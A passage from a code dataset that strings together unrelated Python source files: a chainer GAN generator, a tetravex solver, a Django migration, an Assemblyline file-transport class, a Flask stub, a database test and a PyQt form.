K.epsilon())\n \n \n\n\n\n\n\n\n","sub_path":"Project_FrogLossFunctionCNN_Brazil/MyClass_python/my_loss_function.py","file_name":"my_loss_function.py","file_ext":"py","file_size_in_byte":2764,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"522696549","text":"import chainer\nimport chainer.links as L\nimport chainer.functions as F\nfrom gen_models.resblocks import Block\nfrom source.miscs.random_samples import sample_continuous\n\nclass ResNetGenerator(chainer.Chain):\n def __init__(self, ch=64, dim_z=128, bottom_width=4, activation=F.relu, distribution=\"normal\"):\n super(ResNetGenerator, self).__init__()\n initializer = chainer.initializers.GlorotUniform()\n self.bottom_width = bottom_width\n self.activation = activation\n self.distribution = distribution\n self.dim_z = dim_z\n with self.init_scope():\n self.l1 = L.Linear(dim_z, (bottom_width ** 2) * ch * 16, initialW=initializer)\n self.block2 = Block(ch * 16, ch * 16, activation=activation, upsample=True) #(4x4) => (8x8)\n self.block3 = Block(ch * 16, ch * 8, activation=activation, upsample=True) #(8x8) => (16x16)\n self.block4 = Block(ch * 8, ch * 4, activation=activation, upsample=True) #(16x16) => (32x32)\n self.block5 = Block(ch * 4, ch * 2, activation=activation, upsample=True) #(32x32) => (64x64)\n self.block6 = Block(ch * 2, ch, activation=activation, upsample=True) #(64x64) => (128x128)\n self.block7 = Block(ch, ch//2, activation=activation, upsample=True) #(128x128) => (256x256)\n self.b7 = L.BatchNormalization(ch//2)\n self.l7 = L.Convolution2D(ch//2, 3, ksize=3, stride=1, pad=1, initialW=initializer)\n\n def __call__(self, batchsize=64, z=None, **kwargs):\n if z is None:\n z = sample_continuous(self.dim_z, batchsize, distribution=self.distribution, xp=self.xp)\n h = z\n h = self.l1(h)\n h = F.reshape(h, (h.shape[0], -1, self.bottom_width, self.bottom_width)) # (Batchsize, auto, 4, 4)\n h = self.block2(h)\n h = self.block3(h)\n h = self.block4(h)\n h = self.block5(h)\n h = self.block6(h)\n h = self.block7(h)\n h = self.b7(h)\n h = self.activation(h)\n h = F.tanh(self.l7(h))\n return h\n","sub_path":"src/models/gen_models/resnet.py","file_name":"resnet.py","file_ext":"py","file_size_in_byte":2047,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"274307686","text":"\"\"\"Example module docstrings text\"\"\"\n\n\ndef print_grid(grid_dimension=1, grid_size=1):\n \"\"\"Return a specified grid dimension with specified grid size.\"\"\"\n\n if grid_dimension < 1:\n grid_dimension = 1\n else:\n grid_dimension = int(round(grid_dimension))\n\n if grid_size < 1:\n grid_size = 1\n else:\n grid_size = int(round(grid_size))\n\n # initializing variables\n plus = '+'\n minus = '-'\n line = '|'\n space = ' '\n major = ''\n minor = ''\n\n # creating horizonal major with '+' & '-', and horizonal minor with '|'\n for i in range(0, grid_dimension):\n minusnspace = minus + space\n major = major + plus + space + (minusnspace * grid_size)\n minor = minor + line + space + (2 * grid_size * space)\n\n major = major + plus\n minor = minor + line\n\n # looping to print major and minor\n for i in range(0, grid_dimension):\n print(major)\n for j in range(0, grid_size):\n print(minor)\n\n print(major)\n return\n","sub_path":"students/khtruong/lesson_02/gridprinter.py","file_name":"gridprinter.py","file_ext":"py","file_size_in_byte":1015,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"34945364","text":"import array\nimport copy\n\n\nSIDES = 4 # tetravex\n\nEMPTY = -1 # indicating free cell in solution\nGRAY = 0 # indicating border\n\nNORTH = 0\nSOUTH = 2\nWEST = 3\nEAST = 1\n\n\ndef initialize_grid(rows, cols):\n return [[array.array('h', [-1, -1, -1, -1]) for x in range(cols)] for y in range(rows)]\n\nPYTHON_FORMAT = 'python_format' \nJAVA_FORMAT = 'java_format' \nNATLO_FORMAT = 'natlo_format' \nBENOIST_FORMAT = 'benoist_format'\nVANSTONE_FORMAT = 'vanstone_format'\n\ndef initialize_pieces(n_pieces=4, puzzles_format=PYTHON_FORMAT, filename=None):\n grid_size = None\n with open(filename, 'r') as f:\n pieces = []\n for i, line in enumerate(f):\n if puzzles_format == BENOIST_FORMAT:\n if i == 0:\n grid_size = int(line.strip())\n elif i == 1:\n number_of_colors = int(line.strip())\n elif i == 2:\n number_of_hints = int(line.strip())\n elif i <= (2 + number_of_hints):\n # skip hints\n continue\n else:\n piece = line.strip().split(\" \")\n pieces.append(\n (piece[NORTH],\n piece[1],\n piece[2],\n piece[3]\n )\n )\n\n elif puzzles_format == VANSTONE_FORMAT:\n if i == 0:\n grid_size = int(line.strip().split()[0])\n elif i ==1 or i == 2:\n # number of colors\n continue\n elif grid_size is not None and (i - 2 > grid_size * grid_size):\n print(grid_size, i, 'aaa')\n break\n else:\n piece = [int(x) for x in line.strip().split(\" \")]\n pieces.append(\n (piece[NORTH],\n piece[1],\n piece[2],\n piece[3]),\n )\n\n elif puzzles_format == JAVA_FORMAT:\n puzzle_subpiece = [int(x) for x in line.strip().split(' ') if x]\n for i in range(len(puzzle_subpiece) // SIDES):\n pieces.append(\n (puzzle_subpiece[i * SIDES + NORTH],\n puzzle_subpiece[i * SIDES + 1],\n puzzle_subpiece[i * SIDES + 2],\n puzzle_subpiece[i * SIDES + 3])\n )\n elif puzzles_format == NATLO_FORMAT:\n piece = [int(x) for x in line.strip().split(\", \")]\n pieces.append((piece[WEST], piece[NORTH], piece[EAST], piece[SOUTH]))\n elif puzzles_format == PYTHON_FORMAT:\n piece = [int(x) for x in line.strip().split(\" \")]\n pieces.append((piece[NORTH], piece[3], piece[1], piece[2]))\n\n return pieces, grid_size\n\ndef pieces_to_editor_format(pieces):\n import math\n pieces_break = int(math.sqrt(len(pieces)))\n output_str = ''\n for i, piece in enumerate(pieces):\n if i % pieces_break == 0:\n output_str += '\\n'\n output_str += (f'{piece[NORTH]} {piece[EAST]} {piece[SOUTH]} {piece[WEST]} ')\n\n print(output_str)\n return output_str\n\ndef pieces_to_orientations(pieces):\n '''\n given an array of pieces, return an array with all the pieces possible orientations\n '''\n ret_pieces = [[EMPTY for x in range(SIDES)] for y in range(len(pieces) * 4)]\n for i, piece in enumerate(pieces):\n ret_pieces[0 + i * 4][0] = piece[0]\n ret_pieces[0 + i * 4][1] = piece[1]\n ret_pieces[0 + i * 4][2] = piece[2]\n ret_pieces[0 + i * 4][3] = piece[3]\n\n ret_pieces[1 + i * 4][0] = piece[3]\n ret_pieces[1 + i * 4][1] = piece[0]\n ret_pieces[1 + i * 4][2] = piece[1]\n ret_pieces[1 + i * 4][3] = piece[2]\n\n ret_pieces[2 + i * 4][0] = piece[2]\n ret_pieces[2 + i * 4][1] = piece[3]\n ret_pieces[2 + i * 4][2] = piece[0]\n ret_pieces[2 + i * 4][3] = piece[1]\n\n ret_pieces[3 + i * 4][0] = piece[1]\n ret_pieces[3 + i * 4][1] = piece[2]\n ret_pieces[3 + i * 4][2] = piece[3]\n ret_pieces[3 + i * 4][3] = piece[0]\n return ret_pieces\n\ndef rotate_piece(piece, orientation):\n '''\n orientation is integer; rotation clockwise\n '''\n\n if orientation == 0:\n ret_piece = (piece[0], piece[1], piece[2], piece[3])\n elif orientation == 1:\n ret_piece = (piece[3], piece[0], piece[1], piece[2])\n elif orientation == 2:\n ret_piece = (piece[2], piece[3], piece[0], piece[1])\n elif orientation == 3:\n ret_piece = (piece[1], piece[2], piece[3], piece[0])\n return ret_piece\n\ndef place_piece_on_grid(grid, piece, position, is_circular=False):\n '''\n place position on some position.\n position is determined by strategy.\n '''\n\n success = is_move_legal(grid, piece, position)\n if not success:\n return False, None, None\n grid = copy.deepcopy(grid)\n\n grid[position[0]][position[1]][0] = piece[0]\n grid[position[0]][position[1]][1] = piece[1]\n grid[position[0]][position[1]][2] = piece[2]\n grid[position[0]][position[1]][3] = piece[3]\n next_position = get_next_position(grid, position, is_circular=is_circular)\n return success, grid, next_position\n\ndef get_valid_next_moves(grid, pieces, position):\n\n '''\n return valid next moves as a tuple indicating (piece index, orientation)\n '''\n possible_moves = []\n for i, piece in enumerate(pieces):\n for orientation in range(SIDES):\n _piece = rotate_piece(piece, orientation)\n if is_move_legal(grid, _piece, position):\n possible_moves.append((i, orientation))\n return possible_moves\n\n\ndef is_move_legal(grid, piece, position):\n\n rows, cols = len(grid), len(grid[0])\n row, col = position\n\n if (\n # tiles at border with non-matching borders\n (position[0] == 0 and piece[NORTH] != GRAY) or\n (position[0] == rows - 1 and piece[SOUTH] != GRAY) or\n (position[1] == 0 and piece[WEST] != GRAY) or\n (position[1] == cols - 1 and piece[EAST] != GRAY) or \n\n # border tiles in center\n (position[0] != 0 and piece[NORTH] == GRAY) or\n (position[0] != rows -1 and piece[SOUTH] == GRAY) or\n (position[1] != 0 and piece[WEST] == GRAY) or\n (position[1] != cols -1 and piece[EAST] == GRAY)\n ):\n return False\n elif (\n (row > 0 and piece[NORTH] != grid[row - 1][col][SOUTH] and grid[row - 1][col][SOUTH] != EMPTY) or \n (row < rows -1 and piece[SOUTH] != grid[row + 1][col][NORTH] and grid[row + 1][col][NORTH] != EMPTY) or\n (col > 0 and piece[WEST] != grid[row][col - 1][EAST] and grid[row][col - 1][EAST] != EMPTY) or\n (col < cols - 1 and piece[EAST] != grid[row][col + 1][WEST] and grid[row][col + 1][WEST] != EMPTY)\n ):\n return False\n return True\n \n\n\ndef get_next_position(grid, prev_position, is_circular=True):\n rows, cols = len(grid), len(grid[0])\n\n if is_circular:\n '''\n first fill the border\n '''\n if prev_position[0] == 0 and prev_position[1] == cols - 1: # right top corner\n next_position = (prev_position[0] + 1, prev_position[1])\n elif prev_position[0] == rows - 1 and prev_position[1] == cols - 1: # right bottom corner\n next_position = (prev_position[0], prev_position[1] - 1)\n elif prev_position[0] == rows - 1 and prev_position[1] == 0: # left bottom corner\n next_position = (prev_position[0] - 1, prev_position[1])\n elif prev_position[0] == 0 and prev_position[1] == 0: # left top corner\n next_position = (prev_position[0], prev_position[1] + 1)\n elif prev_position[0] == 1 and prev_position[1] == 0: # frame has been filled\n next_position = (prev_position[0], prev_position[1] + 1)\n elif prev_position[0] == 0: # top row\n next_position = (prev_position[0], prev_position[1] + 1)\n elif prev_position[0] == rows - 1: # bottom row\n next_position = (prev_position[0], prev_position[1] - 1)\n elif prev_position[1] == 0: # left side\n next_position = (prev_position[0] - 1, prev_position[1])\n elif prev_position[1] == cols - 1: # right side\n next_position = (prev_position[0] + 1, prev_position[1])\n else:\n # row by row avoiding frame\n if prev_position[0] == rows -1 and prev_position[1] == cols -1:\n next_position = None\n elif prev_position[1] == cols - 2:\n next_position = (prev_position[0] + 1, 1)\n else: # not close to any border, just do the normal\n next_position = (\n ((prev_position[0] * cols) + prev_position[1] + 1) // cols, \n ((prev_position[0] * cols) + prev_position[1] + 1) % cols \n )\n else:\n # row by row\n next_position = (\n ((prev_position[0] * cols) + prev_position[1] + 1) // cols, \n ((prev_position[0] * cols) + prev_position[1] + 1) % cols \n )\n return next_position\n","sub_path":"solver.py","file_name":"solver.py","file_ext":"py","file_size_in_byte":9259,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"182456068","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import models, migrations\nfrom django.utils.timezone import utc\nimport datetime\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('dtrprofile', '0012_auto_20141225_0936'),\n ]\n\n operations = [\n migrations.AddField(\n model_name='userprofile',\n name='lookingfor',\n field=models.SmallIntegerField(default=0, verbose_name='lookingfor', choices=[(0, ''), (1, 'friends only'), (2, 'serious relationship'), (3, 'casual dating'), (4, 'passion'), (5, 'casual sex'), (6, 'not sure yet'), (7, 'marriage')]),\n preserve_default=True,\n ),\n migrations.AlterField(\n model_name='userflag',\n name='created',\n field=models.DateTimeField(default=datetime.datetime(2015, 1, 13, 6, 40, 53, 119287, tzinfo=utc)),\n preserve_default=True,\n ),\n migrations.AlterField(\n model_name='userpic',\n name='created',\n field=models.DateTimeField(default=datetime.datetime(2015, 1, 13, 6, 40, 53, 121224, tzinfo=utc)),\n preserve_default=True,\n ),\n migrations.AlterField(\n model_name='userprofile',\n name='last_active',\n field=models.DateTimeField(db_index=True, default=datetime.datetime(2015, 1, 13, 6, 40, 53, 125242, tzinfo=utc)),\n preserve_default=True,\n ),\n migrations.AlterField(\n model_name='userprofile',\n name='last_modified',\n field=models.DateTimeField(default=datetime.datetime(2015, 1, 13, 6, 40, 53, 125173, tzinfo=utc)),\n preserve_default=True,\n ),\n migrations.AlterField(\n model_name='userprofile',\n name='lat',\n field=models.FloatField(db_index=True, default=None, null=True),\n preserve_default=True,\n ),\n migrations.AlterField(\n model_name='userprofile',\n name='lng',\n field=models.FloatField(db_index=True, default=None, null=True),\n preserve_default=True,\n ),\n ]\n","sub_path":"dtrprofile/migrations/0013_auto_20150113_0640.py","file_name":"0013_auto_20150113_0640.py","file_ext":"py","file_size_in_byte":2162,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"232241855","text":"#!/usr/bin/env python\n\n# What is the largest prime factor of the number 600851475143?\n\ntarget = 600851475143\n\n\ndef isPrime(number):\n for j in range(2, int(number) // 2):\n if number % j == 0:\n return 1\n return 0\n\n\ndef main(target):\n for i in range(2, target // 2):\n k = target / i\n if k % 1 == 0:\n if isPrime(k) == 0:\n print(\"The highest prime factorial is\", int(k))\n break\n\n\nif __name__ == \"__main__\":\n main(target)\n","sub_path":"001-010/003/003.py","file_name":"003.py","file_ext":"py","file_size_in_byte":501,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"561930890","text":"import logging\nimport os\nimport shutil\n\nfrom assemblyline.common.exceptions import ChainAll\nfrom assemblyline.common.uid import get_random_id\nfrom assemblyline.filestore.transport.base import Transport, TransportException, normalize_srl_path\n\n\n@ChainAll(TransportException)\nclass TransportLocal(Transport):\n \"\"\"\n Local file system Transport class.\n \"\"\"\n\n def __init__(self, base=None, normalize=None):\n self.log = logging.getLogger('assemblyline.transport.local')\n self.base = base\n self.host = \"localhost\"\n\n def local_normalize(path):\n # If they've provided an absolute path. Leave it a is.\n if path.startswith('/'):\n s = path\n # Relative paths\n elif '/' in path or len(path) != 64:\n s = _join(self.base, path)\n else:\n s = _join(self.base, normalize_srl_path(path))\n self.log.debug('local normalized: %s -> %s', path, s)\n return s\n\n if not normalize:\n normalize = local_normalize\n\n super(TransportLocal, self).__init__(normalize=normalize)\n\n def delete(self, path):\n path = self.normalize(path)\n os.unlink(path)\n\n def exists(self, path):\n path = self.normalize(path)\n return os.path.exists(path)\n\n def getmtime(self, path):\n path = self.normalize(path)\n\n try:\n return os.path.getmtime(path)\n except OSError:\n return 0\n\n def makedirs(self, path):\n path = self.normalize(path)\n try:\n os.makedirs(path)\n except OSError as e:\n if e.errno == 17:\n pass\n else:\n raise e\n\n # File based functions\n def download(self, src_path, dst_path):\n if src_path == dst_path:\n return\n\n src_path = self.normalize(src_path)\n dir_path = os.path.dirname(dst_path)\n if not os.path.exists(dir_path):\n os.makedirs(dir_path)\n shutil.copy(src_path, dst_path)\n\n def upload(self, src_path, dst_path):\n dst_path = self.normalize(dst_path)\n if src_path == dst_path:\n return\n\n dirname = os.path.dirname(dst_path)\n filename = os.path.basename(dst_path)\n tempname = get_random_id()\n temppath = _join(dirname, tempname)\n finalpath = _join(dirname, filename)\n assert (finalpath == dst_path)\n self.makedirs(dirname)\n shutil.copy(src_path, temppath)\n shutil.move(temppath, finalpath)\n assert (self.exists(dst_path))\n\n # Buffer based functions\n def get(self, path):\n path = self.normalize(path)\n fh = None\n try:\n fh = open(path, \"rb\")\n return fh.read()\n finally:\n if fh:\n fh.close()\n\n def put(self, path, content):\n path = self.normalize(path)\n\n dirname = os.path.dirname(path)\n filename = os.path.basename(path)\n\n tempname = get_random_id()\n temppath = _join(dirname, tempname)\n\n finalpath = _join(dirname, filename)\n assert(finalpath == path)\n\n self.makedirs(dirname)\n fh = None\n try:\n fh = open(temppath, \"wb\")\n return fh.write(content)\n finally:\n if fh:\n fh.close()\n\n try:\n shutil.move(temppath, finalpath)\n except shutil.Error:\n pass\n assert(self.exists(path))\n\n def __str__(self):\n return 'file://{}'.format(self.base)\n\n###############################\n# Helper functions.\n###############################\n\n\ndef _join(base, path):\n path = path.replace(\"\\\\\", \"/\").replace(\"//\", \"/\")\n if base is None:\n return path\n return os.path.join(base, path.lstrip(\"/\")).replace(\"\\\\\", \"/\")\n","sub_path":"assemblyline/filestore/transport/local.py","file_name":"local.py","file_ext":"py","file_size_in_byte":3854,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"55596225","text":"from flask import Flask\n\n# Initialize the app\napp = Flask(__name__, instance_relative_config=True)\n\n# Load the views\nfrom app import views\n\napp.config['SECRET_KEY'] = \"this-is-secret\"\n\n# Load the config file\napp.config.from_object('config')\n\nif __name__ == '__main__':\n app.run()\n ","sub_path":"app/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":287,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"612711590","text":"import csv\nfilename = input(\"请输入文件名\")\n\na = input(\"请输入添加文字\")\ncsvFile = open(filename+\".csv\", \"r\")\nreader = csv.reader(csvFile)\ntmp = []\nfor item in reader:\n c = item[0]+a\n item.append(c)\n tmp.append(item)\n\ncsvFile = open(\"鼻咽.csv\", \"w\")\nwriter = csv.writer(csvFile)\nfor i in tmp:\n writer.writerow(i)\ncsvFile.close()","sub_path":"test/tesr.py","file_name":"tesr.py","file_ext":"py","file_size_in_byte":355,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"332398054","text":"import os\nimport unittest\n\nfrom sqlalchemy import MetaData, Table, Column, Integer, DateTime, select\nfrom sqlalchemy.dialects import postgresql\nfrom sqlalchemy.schema import CreateIndex\n\nfrom pedsnetdcc.age_transform import AgeTransform\nfrom pedsnetdcc.utils import make_conn_str\nfrom pedsnetdcc.tests.transform_test_utils import clean\n\n\nclass AgeTest(unittest.TestCase):\n\n def setUp(self):\n self.metadata = MetaData()\n\n foo_col = Column('foo_start_time', DateTime)\n bar_col = Column('bar_start_time', DateTime)\n person_col = Column('person_id', Integer)\n\n self.table1 = Table('table1', self.metadata,\n foo_col,\n bar_col,\n person_col)\n\n baz_col = Column('baz_start_time', DateTime)\n baz_person_col = Column('person_id', Integer)\n\n self.table2 = Table('table2', self.metadata,\n baz_col, baz_person_col)\n\n # Create and add the `person` table to the sqlalchemy metadata\n self.person = Table('person', self.metadata,\n Column('person_id', Integer),\n Column('time_of_birth', DateTime))\n\n AgeTransform.columns_by_table = {\n 'table1': ('foo_start_time', 'bar_start_time'),\n }\n\n def test_modify_select(self):\n\n select_obj = select([self.table1])\n join_obj = self.table1\n\n select_obj, join_obj = AgeTransform.modify_select(\n self.metadata,\n 'table1',\n select_obj,\n join_obj)\n\n select_obj = select_obj.select_from(join_obj)\n\n new_sql = str(select_obj.compile(dialect=postgresql.dialect()))\n\n expected = clean(\"\"\"\n SELECT table1.foo_start_time,\n table1.bar_start_time,\n table1.person_id,\n months_in_interval(person.time_of_birth, table1.foo_start_time)\n AS foo_start_age_in_months,\n months_in_interval(person.time_of_birth, table1.bar_start_time)\n AS bar_start_age_in_months\n {NL}FROM table1\n JOIN person ON person.person_id = table1.person_id\n \"\"\")\n\n self.maxDiff = None\n self.assertEqual(new_sql, expected)\n\n def test_modify_select_negative(self):\n\n select_obj = select([self.table2])\n join_obj = self.table2\n\n select_obj, join_obj = AgeTransform.modify_select(\n self.metadata,\n 'table2',\n select_obj,\n join_obj)\n\n select_obj = select_obj.select_from(join_obj)\n\n new_sql = str(select_obj.compile(dialect=postgresql.dialect()))\n\n expected = clean(\"\"\"\n SELECT table2.baz_start_time,\n table2.person_id\n {NL}FROM table2\n \"\"\")\n\n self.maxDiff = None\n self.assertEqual(new_sql, expected)\n\n def test_modify_metadata(self):\n\n metadata = AgeTransform.modify_metadata(self.metadata)\n\n indexes = metadata.tables['table1'].indexes\n self.assertEqual(len(indexes), 2, 'Indexes created')\n\n for index in indexes:\n index_sql = str(CreateIndex(index).compile(\n dialect=postgresql.dialect()))\n if index.name == 'tab_fsaim_107eee9e009461416_ix':\n expected = clean(\"\"\"\n CREATE INDEX tab_fsaim_107eee9e009461416_ix\n ON table1 (foo_start_age_in_months)\n \"\"\")\n self.assertEqual(index_sql, expected)\n elif index.name == 'tab_bsaim_ca07fdbcdf9bfef7a_ix':\n expected = clean(\"\"\"\n CREATE INDEX tab_bsaim_ca07fdbcdf9bfef7a_ix\n ON table1 (bar_start_age_in_months)\n \"\"\")\n self.assertEqual(index_sql, expected)\n else:\n self.fail(\n 'Unexpected index encountered: {}'.format(index.name))\n\n def test_pre_transform(self):\n dburi_var = 'PEDSNETDCC_TEST_DBURI'\n search_path_var = 'PEDSNETDCC_TEST_SEARCH_PATH'\n if (dburi_var not in os.environ and\n search_path_var not in os.environ):\n self.skipTest(\n '{} and {} required for testing '\n 'AgeTransform.pre_transform'.format(\n dburi_var, search_path_var))\n conn_str = make_conn_str(uri=os.environ[dburi_var],\n search_path=os.environ[search_path_var])\n AgeTransform.pre_transform(conn_str)\n # TODO: verify function creation via introspection\n\n def test_with_data(self):\n # TODO: use test data and verify transformation results\n self.skipTest('Not implemented yet')\n","sub_path":"pedsnetdcc/tests/age_transform_test.py","file_name":"age_transform_test.py","file_ext":"py","file_size_in_byte":4716,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"229781150","text":"from PyQt5 import QtCore, QtGui, QtWidgets\r\nfrom PyQt5.QtGui import QRegExpValidator\r\nfrom PyQt5.QtCore import QRegExp\r\nfrom datetime import datetime, timedelta\r\nfrom mysql.connector import Error\r\nfrom additional_files import utilities as u \r\nimport uuid\r\nimport ctypes\r\n\r\nclass Ui_MainWindow(QtWidgets.QFileDialog):\r\n\r\n def __init__(self,db):\r\n super().__init__()\r\n self.db=db\r\n \r\n #GUI\r\n def setupUi(self, MainWindow):\r\n MainWindow.setObjectName(\"MainWindow\")\r\n #MainWindow.resize(ctypes.windll.user32.GetSystemMetrics(0), ctypes.windll.user32.GetSystemMetrics(1))\r\n MainWindow.resize(1366,768)\r\n self.centralwidget = QtWidgets.QWidget(MainWindow)\r\n self.centralwidget.setObjectName(\"centralwidget\")\r\n self.horizontalLayout = QtWidgets.QHBoxLayout(self.centralwidget)\r\n self.horizontalLayout.setObjectName(\"horizontalLayout\")\r\n self.frame = QtWidgets.QFrame(self.centralwidget)\r\n sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred, QtWidgets.QSizePolicy.Preferred)\r\n sizePolicy.setHorizontalStretch(0)\r\n sizePolicy.setVerticalStretch(0)\r\n sizePolicy.setHeightForWidth(self.frame.sizePolicy().hasHeightForWidth())\r\n self.frame.setSizePolicy(sizePolicy)\r\n self.frame.setAutoFillBackground(False)\r\n self.frame.setStyleSheet(\"*\\n\"\r\n \"{\\n\"\r\n \" font-family:Century Gothic;\\n\"\r\n \" font-size:15px;\\n\"\r\n \"}\\n\"\r\n \"\\n\"\r\n \"QFrame{\\n\"\r\n \"background:rgb(255, 255, 217);\\n\"\r\n \"border:2px solid black;\\n\"\r\n \"}\\n\"\r\n \"Qlabel#ImageLabel\\n\"\r\n \"{ \\n\"\r\n \" border:1px solid black\\n\"\r\n \"}\\n\"\r\n \"QLabel{\\n\"\r\n \" font-weight:bold;\\n\"\r\n \" border:none\\n\"\r\n \"}\\n\"\r\n \"QLineEdit\\n\"\r\n \"{\\n\"\r\n \" background:white;\\n\"\r\n \" padding:5px;\\n\"\r\n \" font-size:12px;\\n\"\r\n \"}\\n\"\r\n \"QPushButton{\\n\"\r\n \"background:white;\\n\"\r\n \"padding:2px;\\n\"\r\n \"font-size:10px;\\n\"\r\n \"border-style:inlet;\\n\"\r\n \"border:1px solid black;\\n\"\r\n \"}\\n\"\r\n \"QPushButton#Submit{\\n\"\r\n \" background:rgb(15, 73, 61);\\n\"\r\n \" font-size:15px;\\n\"\r\n \" color:white;\"\r\n \"}\\n\"\r\n \"QPushButton:pressed{\\n\"\r\n \" border-style:outlet;\\n\"\r\n \"}\\n\"\r\n \"QComboBox{\\n\"\r\n \" background:white;\\n\"\r\n \" border-style:inlet;\\n\"\r\n \" border:1px solid black;\\n\"\r\n \"}\\n\"\r\n \"QComboBox:focus{\\n\"\r\n \" border-style:outlet;\\n\"\r\n \"}\\n\"\r\n \"QDateEdit{\\n\"\r\n \" background:white;\\n\"\r\n \"}\\n\"\r\n \"\")\r\n self.frame.setFrameShape(QtWidgets.QFrame.StyledPanel)\r\n self.frame.setFrameShadow(QtWidgets.QFrame.Raised)\r\n self.frame.setObjectName(\"frame\")\r\n self.NameEdit = QtWidgets.QLineEdit(self.frame)\r\n self.NameEdit.setGeometry(QtCore.QRect(280, 70, 371, 41))\r\n self.NameEdit.setObjectName(\"NameEdit\")\r\n self.DOBEdit = QtWidgets.QDateEdit(self.frame)\r\n self.DOBEdit.setGeometry(QtCore.QRect(280, 150, 191, 24))\r\n self.DOBEdit.setObjectName(\"DOBEdit\")\r\n self.minimumDateDob=datetime.today()-timedelta(days=365*20)\r\n self.DOBEdit.setMaximumDateTime(self.minimumDateDob)\r\n self.DOBEdit.setMinimumDateTime(datetime.today()-timedelta(days=365*60))\r\n self.DOJEdit = QtWidgets.QDateEdit(self.frame)\r\n self.DOJEdit.setGeometry(QtCore.QRect(960, 150, 191, 24))\r\n self.DOJEdit.setObjectName(\"DOJEdit\")\r\n self.DOJEdit.setMaximumDateTime(datetime.today())\r\n self.minimumDateDoj=datetime(1932,10,15) \r\n self.DOJEdit.setMinimumDateTime(self.minimumDateDoj)\r\n self.DOB = QtWidgets.QLabel(self.frame)\r\n self.DOB.setGeometry(QtCore.QRect(90, 150, 100, 21))\r\n self.DOB.setObjectName(\"DOB\")\r\n self.ImageButton = QtWidgets.QPushButton(self.frame)\r\n self.ImageButton.setGeometry(QtCore.QRect(1160, 230, 91, 21))\r\n self.ImageButton.setObjectName(\"ImageButton\")\r\n self.SignatureButton = QtWidgets.QPushButton(self.frame)\r\n self.SignatureButton.setGeometry(QtCore.QRect(1160, 410, 91, 21))\r\n self.SignatureButton.setObjectName(\"SignatureButton\")\r\n self.DepartmentEdit = QtWidgets.QComboBox(self.frame)\r\n self.DepartmentEdit.setGeometry(QtCore.QRect(280, 540, 271, 24))\r\n self.DepartmentEdit.setAcceptDrops(False)\r\n self.DepartmentEdit.setEditable(True)\r\n self.DepartmentEdit.setObjectName(\"DepartmentEdit\")\r\n self.DepartmentEdit.addItem(\"\")\r\n self.DepartmentEdit.addItem(\"\")\r\n self.DepartmentEdit.addItem(\"\")\r\n self.DepartmentEdit.addItem(\"\")\r\n self.Department = QtWidgets.QLabel(self.frame)\r\n self.Department.setGeometry(QtCore.QRect(90, 540, 147, 18))\r\n self.Department.setObjectName(\"Department\")\r\n self.Submit = QtWidgets.QPushButton(self.frame)\r\n self.Submit.setGeometry(QtCore.QRect(610, 590, 101, 41))\r\n self.Submit.setObjectName(\"Submit\")\r\n self.Status = QtWidgets.QLabel(self.frame)\r\n self.Status.setGeometry(QtCore.QRect(5, 650, 1341, 30))\r\n self.Status.setObjectName(\"Status\")\r\n self.ImageLabel = QtWidgets.QLabel(self.frame)\r\n self.ImageLabel.setGeometry(QtCore.QRect(960, 220, 91, 111))\r\n self.ImageLabel.setText(\"\")\r\n self.ImageLabel.setObjectName(\"ImageLabel\")\r\n self.SigLabel = QtWidgets.QLabel(self.frame)\r\n self.SigLabel.setGeometry(QtCore.QRect(950, 400, 121, 41))\r\n self.SigLabel.setText(\"\")\r\n self.SigLabel.setObjectName(\"SigLabel\")\r\n self.Name = QtWidgets.QLabel(self.frame)\r\n self.Name.setGeometry(QtCore.QRect(90, 80, 71, 21))\r\n self.Name.setObjectName(\"Name\")\r\n self.Address1 = QtWidgets.QLabel(self.frame)\r\n self.Address1.setGeometry(QtCore.QRect(90, 240, 91, 16))\r\n self.Address1.setObjectName(\"Address1\")\r\n self.Address2 = QtWidgets.QLabel(self.frame)\r\n self.Address2.setGeometry(QtCore.QRect(90, 360, 81, 20))\r\n self.Address2.setObjectName(\"Address2\")\r\n self.address1Edit = QtWidgets.QLineEdit(self.frame)\r\n self.address1Edit.setGeometry(QtCore.QRect(280, 220, 581, 71))\r\n self.address1Edit.setText(\"\")\r\n self.address1Edit.setObjectName(\"address1Edit\")\r\n self.address2Edit = QtWidgets.QLineEdit(self.frame)\r\n self.address2Edit.setGeometry(QtCore.QRect(280, 330, 581, 71))\r\n self.address2Edit.setObjectName(\"address2Edit\")\r\n self.Phone = QtWidgets.QLabel(self.frame)\r\n self.Phone.setGeometry(QtCore.QRect(90, 460, 91, 16))\r\n self.Phone.setObjectName(\"Phone\")\r\n self.phone1Edit = QtWidgets.QLineEdit(self.frame)\r\n self.phone1Edit.setGeometry(QtCore.QRect(280, 450, 121, 31))\r\n self.phone1Edit.setObjectName(\"phone1Edit\")\r\n self.phone2Edit = QtWidgets.QLineEdit(self.frame)\r\n self.phone2Edit.setGeometry(QtCore.QRect(420, 450, 131, 31))\r\n self.phone2Edit.setObjectName(\"phone2Edit\")\r\n self.phone3Edit = QtWidgets.QLineEdit(self.frame)\r\n self.phone3Edit.setGeometry(QtCore.QRect(570, 450, 141, 31))\r\n self.phone3Edit.setObjectName(\"phone3Edit\")\r\n self.DOJ = QtWidgets.QLabel(self.frame)\r\n self.DOJ.setGeometry(QtCore.QRect(810, 150, 121, 21))\r\n 